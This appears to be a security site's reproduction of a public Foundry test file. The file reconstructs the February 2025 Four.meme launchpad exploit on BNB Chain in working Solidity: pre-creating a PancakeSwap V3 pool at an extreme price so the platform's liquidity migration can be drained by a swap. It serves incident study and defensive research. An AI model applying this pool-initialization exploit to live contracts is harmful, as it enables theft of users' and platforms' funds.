Skip to content
THREATWIRE

Public reproduction file

src/test/2025-02/FourMeme_exp.sol

Public reproduction file for dataset entry FourMeme.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-02/FourMeme_exp.sol244 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import {IERC20, WETH} from "../interface.sol";
6
7// @KeyInfo - Total Lost : 186k (287bnb)
8// Attacker 1: https://bscscan.com/address/0x010Fc97CB0a4D101dCe20DAB37361514bD59A53A
9// Attacker 2: https://bscscan.com/address/0x935d6cf073eab37ca2b5878af21329d5dbf4f4a5
10// Attacker 3: https://bscscan.com/address/0xf91848a076efaa6b8ecc9d378ab6d32bd506dc79
11// Attacker 4: https://bscscan.com/address/0x907004b6bb6965a83fdbcbc060a5b30bc876c33d
12// Attacker 5: https://bscscan.com/address/0x482b004e7800174a1efb87f496552ac8f53b2fda
14// Attack Contract 1 (Swap and take profit): https://bscscan.com/address/0x06799F7b09A455c1cF6a8E7615Ece04B31A9D051
15// Attack Contract 2 (Hacker buy meme token): https://bscscan.com/address/0x4fdebca823b7886c3a69fa5fc014104f646d9591
16// Attack Contract 3 (Hacker create pool): https://bscscan.com/address/0xbf26e147918a07cb8d8cf38d260edf346977686c
17// Vulnerable Contract (Four meme launchpad): https://bscscan.com/address/0x5c952063c7fc8610FFDB798152D69F0B9550762b
19// Pre Attack Tx (Buy meme token): https://bscscan.com/tx/0xdb5d43317ab8e5d67cdd5006b30a6f2ced513237ac189eb1e57f0f06f630d582
20// Pre Attack Tx (Hacker create pool): https://bscscan.com/tx/0x4235b006b94a79219181623a173a8a6aadacabd01d6619146ffd6fbcbb206dff
21// Pre Attack Tx (Four meme add liquidity): https://bscscan.com/tx/0xe0daa3bf68c1a714f255294bd829ae800a381624417ed4b474b415b9d2efeeb5
22// Attack Tx (Swap and take profit): https://bscscan.com/tx/0x2902f93a0e0e32893b6d5c907ee7bb5dabc459093efa6dbc6e6ba49f85c27f61
24// @Info
25// Vulnerable Contract Code : Four meme launchpad code isn't open source
26// Notice that nearly 20 meme tokens are exploited by the hacker in the same way
27// I only demonstrate the attack on snowboard token
29// @Analysis
30// Check chaincatcher analysis first
31// Post-mortem : https://securrtech.medium.com/the-four-meme-exploit-a-deep-dive-into-the-183-000-hack-6f45369029be
32// Twitter Guy : https://x.com/four_meme_/status/1889198796695044138
33// Hacking God : https://x.com/PeckShieldAlert/status/1889210001220423765
35interface IFourMeme {
36 function addLiquidity(address, uint160) external;
37 function buyTokenAMAP(address token, uint256 amount, uint256 unknown) external payable;
40interface IPancakeRouter {
41 function createAndInitializePoolIfNecessary(
42 address tokenA,
43 address tokenB,
44 uint24 fee,
45 uint160 sqrtPriceX96
46 ) external payable returns (address pool);
49interface IPancakePool {
50 function swap(
51 address recipient,
52 bool zeroForOne,
53 int256 amountSpecified,
54 uint160 sqrtPriceLimitX96,
55 bytes calldata data
56 ) external returns (int256 amount0, int256 amount1);
59contract FourMeme is BaseTestWithBalanceLog {
60 address public fourMemeOwner = 0x74d86638f359bDfF6EC55d78A97F294747f8f5B3;
61 address public fourMeme = 0x5c952063c7fc8610FFDB798152D69F0B9550762b;
62 address public memeToken = 0x4AbfD9a204344bd81A276C075ef89412C9FD2f64; // snowboard
63 address public wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
64 address public pancakeRouter = 0x46A15B0b27311cedF172AB29E4f4766fbE7F4364;
65 address public pancakePool = 0xa610cC0d657bbFe78c9D1eA638147984B2F3C05c;
66 address public attackerBuyContract = 0x4FdEBcA823b7886c3A69fA5fC014104F646D9591;
68 string constant RPC_URL = "bsc"; // You may need to change "bsc" to your own rpc url
70 uint256 public bscBuyFork = vm.createFork(RPC_URL, 46_555_711);
71 uint256 public bscHackerCreatePoolFork = vm.createFork(RPC_URL, 46_555_725);
72 uint256 public bscCreatePoolFork = vm.createFork(RPC_URL, 46_555_731 - 1);
73 uint256 public bscSwapFork = vm.createFork(RPC_URL, 46_555_732 - 1);
75 BuyMemeFromFourMeme public buyMemeFromFourMeme;
76 HackerPool public hackerPool;
77 Swap public swap;
79 function setUp() public {
80 vm.label(address(fourMemeOwner), "fourMemeOwner");
81 vm.label(address(fourMeme), "fourMeme");
82 vm.label(address(memeToken), "memeToken");
83 vm.label(address(wbnb), "wbnb");
84 vm.label(address(pancakeRouter), "pancakeRouter");
85 vm.label(address(pancakePool), "pancakePool");
86 vm.label(address(attackerBuyContract), "attackerBuyContract");
88 fundingToken = address(0);
89 }
91 function testExploit() public balanceLog {
92 // Preparation
93 buyMemeToken(); // User can only get meme token from four.meme platform during this stage
94 HackerCreatePool(); // Hacker create a pool with extremely high sqrtPriceX96
95 CreatePool(); // When the market capitalization of the memecoin reaches 24 BNB, four.meme migrates the liquidity to pancakeswap
97 // Make profit
98 SwapToken(); // Use 1603 snowboard token(worth 0.0001 bnb) to swap 23.426 wbnb
99 }
101 // Buy meme token from four.meme
102 function buyMemeToken() public {
103 vm.selectFork(bscBuyFork);
104 buyMemeFromFourMeme = new BuyMemeFromFourMeme(fourMeme, memeToken);
105 vm.deal(address(this), 0.0001 ether); // Use 0.0001 bnb to buy meme
106 buyMemeFromFourMeme.buyToken{value: 0.0001 ether}(); // Buy 1_603.243_002_223_000_000_000 snowboard
107 }
109 // Create a pool on pancakeswap by hacker
110 function HackerCreatePool() public {
111 vm.selectFork(bscHackerCreatePoolFork);
112 hackerPool = new HackerPool(pancakeRouter, fourMeme, memeToken, wbnb);
113 address pool = hackerPool.createPool(); // 0xa610cC0d657bbFe78c9D1eA638147984B2F3C05c
114 }
116 // It should create a pool on pancakeswap by four.meme platform
117 // But instead it added liquidity to the pool created by hacker
118 // This is because hacker already created a pool on pancakeswap
119 // The restriction on transfer is also removed in addLiquidity function
120 function CreatePool() public {
121 vm.selectFork(bscCreatePoolFork);
122 // Only four.meme owner can call addLiquidity
123 // So this function is called by four.meme platform
124 vm.startPrank(fourMemeOwner, fourMemeOwner);
125 uint160 sqrtPriceX96 = uint160(27_169_599_998_237_907_265_358_521);
126 IFourMeme(fourMeme).addLiquidity(memeToken, sqrtPriceX96);
127 vm.stopPrank();
128 }
130 // Swap snowboard token to wbnb
131 function SwapToken() public {
132 vm.selectFork(bscSwapFork);
133 swap = new Swap(pancakePool, fourMeme, memeToken, wbnb);
134 // Transfer snowboard token to attacker contract
135 // attackerBuyContract is the real buyMemeFromFourMeme contract used by hacker
136 // Because the trading function within four.meme is not allowed in this block
137 // So I can only transfer snowboard token from attackerBuyContract
138 uint256 balance = IERC20(memeToken).balanceOf(attackerBuyContract);
139 vm.prank(attackerBuyContract);
140 IERC20(memeToken).transfer(address(swap), balance);
142 int256 amountSpecified = int256(IERC20(memeToken).balanceOf(address(swap))); // 1_603.243_002_223_000_000_000
143 uint160 sqrtPriceLimitX96 = 4_295_128_740;
144 // Use 1603 snowboard token(worth 0.0001 bnb) to swap 23.426 wbnb
145 int256 wbnbAmount = swap.swap(amountSpecified, sqrtPriceLimitX96);
146 swap.withdraw();
147 WETH(wbnb).withdraw(uint256(-wbnbAmount));
148 }
150 fallback() external payable {}
152 receive() external payable {}
155contract BuyMemeFromFourMeme {
156 // During this stage, user can only buy meme token from four.meme platform
157 // Neither OTC nor pancakeswap is allowed
158 address public fourMeme;
159 address public memeToken;
161 constructor(address _fourMeme, address _memeToken) {
162 fourMeme = _fourMeme;
163 memeToken = _memeToken;
164 }
166 function buyToken() public payable {
167 IFourMeme(fourMeme).buyTokenAMAP{value: msg.value}(memeToken, 100_000_000_000_000, 0);
168 }
170 fallback() external payable {}
172 receive() external payable {}
175contract HackerPool {
176 address public pancakeRouter;
177 address public fourMeme;
178 address public memeToken;
179 address public wbnb;
181 constructor(address _pancakeRouter, address _fourMeme, address _memeToken, address _wbnb) {
182 pancakeRouter = _pancakeRouter;
183 fourMeme = _fourMeme;
184 memeToken = _memeToken;
185 wbnb = _wbnb;
186 }
188 // Create a pool on pancakeswap by hacker
189 function createPool() public returns (address) {
190 // Ask for pancakeswap fee
191 (bool success, bytes memory data) = address(fourMeme).call(
192 abi.encodeWithSelector(0x9f266331, address(memeToken))
193 );
194 (, uint24 pancakeFee, ) = abi.decode(data, (uint256, uint24, uint256));
196 uint160 sqrtPriceX96 = uint160(10_000_000_000_000_000_000_000_000_000_000_000_000_000); // 368_058_418_256_012 times larger than the normal value
198 address pool = IPancakeRouter(pancakeRouter).createAndInitializePoolIfNecessary(
199 memeToken,
200 wbnb,
201 pancakeFee,
202 sqrtPriceX96
203 );
204 return pool;
205 }
208contract Swap {
209 address public pancakePool;
210 address public fourMeme;
211 address public memeToken;
212 address public wbnb;
213 address public owner;
215 constructor(address _pancakePool, address _fourMeme, address _memeToken, address _wbnb) {
216 pancakePool = _pancakePool;
217 fourMeme = _fourMeme;
218 memeToken = _memeToken;
219 wbnb = _wbnb;
220 owner = msg.sender;
221 }
223 // Call the swap function of pancakeswap pool (snowboard -> wbnb)
224 function swap(int256 amountSpecified, uint160 sqrtPriceLimitX96) public returns (int256) {
225 (int256 memeTokenAmount, int256 wbnbAmount) = IPancakePool(pancakePool).swap(
226 address(this),
227 true,
228 amountSpecified,
229 sqrtPriceLimitX96,
230 ""
231 );
232 return wbnbAmount;
233 }
235 // This function is called by pancakeswap pool
236 // It is used to transfer snowboard token to pancakeswap pool
237 function pancakeV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {
238 IERC20(memeToken).transfer(pancakePool, uint256(amount0Delta));
239 }
241 function withdraw() external {
242 IERC20(wbnb).transfer(owner, IERC20(wbnb).balanceOf(address(this)));
243 }

Analysis

Dataset entry

Public Foundry test for “FourMeme” (2025-02-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

15 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x010fc97cb0a4d101dce20dab37361514bd59a53a

  • Attacker

    0x935d6cf073eab37ca2b5878af21329d5dbf4f4a5

  • Attacker

    0xf91848a076efaa6b8ecc9d378ab6d32bd506dc79

  • Attacker

    0x907004b6bb6965a83fdbcbc060a5b30bc876c33d

  • Attacker

    0x482b004e7800174a1efb87f496552ac8f53b2fda

  • Attack Contract

    0x06799f7b09a455c1cf6a8e7615ece04b31a9d051

  • Attack Contract

    0x4fdebca823b7886c3a69fa5fc014104f646d9591

  • Attack Contract

    0xbf26e147918a07cb8d8cf38d260edf346977686c

  • Vulnerable Contract

    0x5c952063c7fc8610ffdb798152d69f0b9550762b

  • Attack Tx

    0x2902f93a0e0e32893b6d5c907ee7bb5dabc459093efa6dbc6e6ba49f85c27f61

File record

Name
FourMeme
Path
src/test/2025-02/FourMeme_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
d97c52df71ed8ec6b590e0f43295b429b85723db
Language
Solidity
Size
245 lines
Date
2025-02-11
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-02/FourMeme_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d97c52df71ed8ec6b590e0f43295b429b85723db, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.